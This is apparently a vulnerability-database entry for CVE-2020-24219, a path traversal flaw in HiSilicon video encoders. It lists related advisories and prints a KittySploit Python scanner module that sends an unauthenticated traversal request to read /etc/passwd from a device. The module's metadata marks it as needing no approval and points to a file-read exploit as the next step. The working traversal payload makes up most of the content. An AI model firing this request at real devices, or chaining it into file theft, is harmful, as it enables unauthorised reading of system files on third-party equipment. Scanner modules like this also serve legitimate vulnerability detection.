HiSilicon Encoder - Path Traversal Detection (CVE-2020-24219)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2020-24219 | 21 Feb 202512:27 | – | circl | |
| Arbitrary Command Injection Over HTTP Traffic (CVE-2020-19165; CVE-2020-24219; CVE-2020-28477; CVE-2021-26747; CVE-2021-27328) | 24 Feb 202100:00 | – | checkpoint_advisories | |
| CVE-2020-24219 | 6 Oct 202013:16 | – | cve | |
| CVE-2020-24219 | 6 Oct 202013:16 | – | cvelist | |
| HiSilicon Video Encoders - Unauthenticated file disclosure via path traversal | 19 Oct 202000:00 | – | exploitdb | |
| HiSilicon Encoder - Path Traversal File Read (CVE-2020-24219) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2020-24219 | 6 Oct 202014:15 | – | nvd | |
| HiSilicon Encoder Directory Traversal Vulnerability - Active Check | 24 Sep 202000:00 | – | openvas | |
| CVE-2020-24219 | 6 Oct 202014:15 | – | osv | |
| HiSilicon Video Encoder 1.97 File Disclosure / Path Traversal | 19 Oct 202000:00 | – | packetstorm |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HiSilicon encoder /sys/devices/media path traversal (CVE-2020-24219)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'HiSilicon Encoder - Path Traversal Detection (CVE-2020-24219)',
'description': (
'Detects CVE-2020-24219 by reading /etc/passwd via '
'/../../sys/devices/media/13070000.jpgd/../../../etc/passwd.'
),
'author': ['KittySploit Team'],
'severity': 'high',
'tags': [
'web', 'scanner', 'cve', 'cve2020', 'hisilicon', 'iot', 'lfi',
'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 0.9,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'auxiliary/admin/http/hisilicon_cve_2020_24219_file_read',
],
},
},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-24219'],
'cve': 'CVE-2020-24219',
}
def run(self):
path = '/../../sys/devices/media/13070000.jpgd/' + ('../' * 4) + 'etc/passwd'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and re.search(r'root:.*:0:0:', r.text or ''):
self.set_info(
severity='high',
reason='HiSilicon encoder path traversal (CVE-2020-24219)',
path=path,
)
return True
return False
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10 Aug 2026 06:19Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.5
CVSS 27.8
EPSS0.23636